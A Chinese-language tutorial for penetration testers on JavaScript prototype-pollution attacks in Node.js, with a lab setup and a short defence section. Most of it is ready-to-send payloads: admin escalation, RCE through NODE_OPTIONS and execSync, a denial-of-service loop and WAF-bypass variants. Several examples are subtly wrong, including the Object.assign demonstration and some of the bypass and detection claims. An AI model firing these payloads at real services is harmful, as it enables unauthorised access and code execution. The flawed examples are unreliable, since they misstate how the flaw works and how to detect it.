适合人群:有Web安全基础、了解JavaScript基本语法的渗透测试人员
前置知识:HTTP协议基础、JSON数据处理、Node.js基本概念
一、前置准备
工具清单
| 工具 | 用途 | 安装命令 |
|---|---|---|
| Node.js v16+ | 本地靶场运行 | apt install nodejs npm |
| Burp Suite | 请求拦截/重放 | 官网下载 |
| Prototype Pollution Scanner | 自动化检测 | npm install -g pp-detector |
| VS Code + CodeQL | 源码审计 | codeql CLI + 安全查询 |
靶场搭建
# 下载 vulnerable-node-app
git clone https://github.com/target-labs/prototype-pollution-lab.git
cd prototype-pollution-lab
npm install
npm start # 监听 localhost:3000
二、核心原理
什么是原型链污染?
JavaScript 中每个对象都有一个内部属性 __proto__(正式名称为 [[Prototype]]),指向其原型对象。当访问对象上不存在的属性时,JavaScript 会沿着原型链向上查找:
// 原型链查找机制
let obj = { a: 1 };
console.log(obj.b); // undefined
console.log(obj.toString); // 找到 Object.prototype.toString
console.log(obj.__proto__); // Object.prototype
漏洞本质:当应用程序使用递归合并(如 lodash.merge、$.extend)、Object.assign 或不安全的对象赋值时,攻击者可以通过在 JSON 中注入 __proto__ 或 constructor.prototype 属性,污染 Object.prototype,使所有后续对象继承恶意属性。
// 污染示例
let base = {};
let payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign(base, payload);
// 任意新对象都继承了 isAdmin: true
let user = {};
console.log(user.isAdmin); // true — 被污染!
与 XSS/SSRF 的区别
| 漏洞类型 | 攻击目标 | 影响范围 | 修复难度 |
|---|---|---|---|
| XSS | 客户端用户 | 单用户会话 | 低(转义输出) |
| SSRF | 服务端请求 | 内网探测 | 中(白名单) |
| 原型链污染 | 服务端运行环境 | 全局所有对象 | 高(深耦合代码) |
三、实操步骤
Step 1:检测原型链污染(白盒/黑盒)
黑盒检测 — 请求中的 JSON 注入:
# 测试普通端点,看是否返回 __proto__ 字段
curl -X POST http://target.com/api/user/update \
-H "Content-Type: application/json" \
-d '{"name":"test","__proto__":{"isAdmin":true}}'
# 检查响应中是否有 isAdmin 字段
黑盒检测 — Burp Intruder 自动化:
Payload 模板 1: {"__proto__":{"polluted":"true"}}
Payload 模板 2: {"constructor":{"prototype":{"polluted":"true"}}}
Payload 模板 3: {"__proto__":{"__proto__":{"polluted":"true"}}}
在 Burp Repeater 中发送后,用另一个请求测试:
curl http://target.com/api/status # 如果响应中包含 "polluted":"true" 则存在污染
白盒检测 — CodeQL 查询:
import javascript
from CallExpr ce
where ce.getCalleeName() = "merge" or ce.getCalleeName() = "assign"
// 检查是否使用不安全的目标对象
and exists(DataFlow::ParameterNode p |
p = ce.getArgument(0) and p.getParameter().getBinding().isUnbound())
select ce, "Potential prototype pollution sink"
Step 2:利用原型链污染实现 RCE
关键是找到属性注入 + 属性触发的组合。常见 RCE 入口:
案例 — 通过 child_process.exec 触发:
// 污染 exec 的 shell 属性
POST /api/merge HTTP/1.1
Content-Type: application/json
{
"__proto__": {
"shell": "node",
"argv0": "node",
"NODE_OPTIONS": "--require /tmp/evil.js"
}
}
案例 — 通过 eval 或 Function 构造器:
// 如果应用使用 [].constructor.constructor 动态创建函数
// 污染 prototype 后,所有函数继承恶意代码
{
"__proto__": {
"valueOf": "while(true){};"
}
}
案例 — MongoDB NoSQL 注入与原型链结合:
// mongoose 的 find 操作
{
"__proto__": {
"$where": "1;require('child_process').execSync('id')"
}
}
Step 3:常用工具链
pp-detector — 自动化扫描工具:
# 安装
npm install -g pp-detector
# 扫描目标
pp-detector scan https://target.com --endpoints /api/merge,/api/config
# 输出
[+] Testing /api/merge with __proto__
[!] VULNERABLE: Object.prototype.isAdmin set to true
[+] Testing /api/merge with constructor.prototype
[!] VULNERABLE: Object.prototype.polluted detected
Burp Suite 插件:Prototype Pollution Scanner:在 BApp Store 中搜索安装,自动检测所有 JSON 端点。
四、绕过技术
4.1 绕过 `__proto__` 关键字过滤
如果 WAF 过滤了 __proto__ 字符串,使用以下变种:
| 绕过方式 | Payload | 说明 |
|---|---|---|
| constructor.prototype | {"constructor":{"prototype":{"x":1}}} | 绕过字符串黑名单 |
| 嵌套编码 | {"__pro__":{"__proto__":{"x":1}}} | 部分递归合并会解嵌套 |
| 数组索引 | [{"__proto__":{"x":1}}] | 遍历数组合并时触发 |
| 双 __proto__ | {"__proto__":{"__proto__":{"x":1}}} | 部分库只检查第一层 |
| toString 替代 | {"__pro\u0074o__":{"x":1}} | Unicode 编码绕过 |
4.2 绕过深度合并检查
// 一些库使用 Object.create(null) 创建无原型的对象来防御
// 绕过方法:使用 constructor.prototype 路径
let safe = Object.create(null);
let evil = JSON.parse('{"constructor":{"prototype":{"isAdmin":true}}}');
// 某些实现会检查 key !== "__proto__" 但忘记检查 constructor.prototype
for (let key in evil) {
// 只检查了 '__proto__'
if (key === '__proto__') continue;
safe[key] = evil[key]; // 👈 设置了 safe.constructor,指向 Object
}
// safe.constructor.prototype.isAdmin = true ✅
五、实战案例复盘
案例:某 Node.js API 网关提权
目标:某云平台 Node.js 后端 API 网关(脱敏处理)
发现过程:
- 查看 JS bundle 发现使用了
lodash.merge处理用户配置 - 发送 payload:
POST /api/merge-config {"__proto__":{"isAdmin":true}} - 发现后续所有请求的
req.user.isAdmin返回true - 访问管理接口
/api/admin/users获取管理员权限
攻击链:
JSON注入 → 原型链污染 → Object.prototype.isAdmin=true → 权限绕过 → 全量数据导出
关键 payload:
POST /api/merge-config HTTP/1.1
Host: target.com
Content-Type: application/json
{
"__proto__": {
"isAdmin": true,
"userLevel": "Administrator"
}
}
修复:使用 Object.create(null) + 深度合并中过滤 __proto__ 和 constructor 属性。
六、防御建议
代码层防御
// ❌ 不安全
function merge(target, source) {
for (let key in source) {
target[key] = source[key];
}
}
// ✅ 安全:过滤原型属性
function safeMerge(target, source) {
for (let key in source) {
if (key === '__proto__' || key === 'constructor') continue;
if (key === 'prototype') continue;
target[key] = source[key];
}
}
// ✅ 更安全:使用无原型对象
const config = Object.create(null);
// ✅ 使用 lodash 4.17.21+(已修复)
const _ = require('lodash');
_.merge(target, source); // 新版自动过滤 __proto__
工具层检测
# ESLint 插件检测
npm install eslint-plugin-security
# .eslintrc
# "plugins": ["security"],
# "rules": { "security/detect-object-injection": "error" }
# Node.js 运行时检测
node --throw-deprecation # 将 __proto__ 使用转为异常
七、常见陷阱
| 陷阱 | 说明 | 解决方法 |
|---|---|---|
| 忽略 JSON.parse 后的对象 | JSON.parse(input) 直接返回普通对象 | 用 Object.create(null) 包裹 |
只检查 __proto__ 不检查 constructor | 绕过:constructor.prototype | 检查所有原型链相关 key |
| Object.assign 只复制自有属性 | Object.assign({}, obj) 安全?不一定 | 注意后续 merge 操作 |
| 认为只有 Node.js 受影响 | 浏览器端也存在,只是影响较小 | 全栈防御 |
| 忽略第三方库的间接 merge | npm 包内部使用了 merge | 用 npm audit 检查 |
八、总结
速查表
| 阶段 | 命令/工具 | 关键参数 |
|---|---|---|
| 检测 | Burp → JSON 端点 | __proto__ / constructor.prototype |
| 检测 | pp-detector | pp-detector scan https://target.com |
| 利用 | 权限提升 | {"__proto__":{"isAdmin":true}} |
| 利用 | RCE (child_process) | {"__proto__":{"shell":"node"}} |
| 绕过 | constructor.prototype | {"constructor":{"prototype":{"x":1}}} |
| 防御 | lodash ≥ 4.17.21 | 自动过滤 __proto__ |
| 验证 | obj.polluted === undefined | 检查是否被污染 |
核心要点
- 原型链污染 = 全局变量注入 — 一旦成功,影响整个运行时的所有对象
- JSON 端点 ≠ 安全 — 任何
JSON.parse+ 递归赋值都是潜在入口 - 组合攻击 — 原型链污染 + XSS/SSRF/NoSQL 注入可形成完整攻击链
- npm audit 必做 —
lodash.merge在 CVE-2018-3721 后修复,CVE-2020-28502 再次修复
实际攻防中,原型链污染往往是大型 Node.js 项目中"最先被忽视、最晚被发现"的漏洞。多检查项目的 package.json 中的
merge/cloneDeep/extend用法——那里常藏着金矿。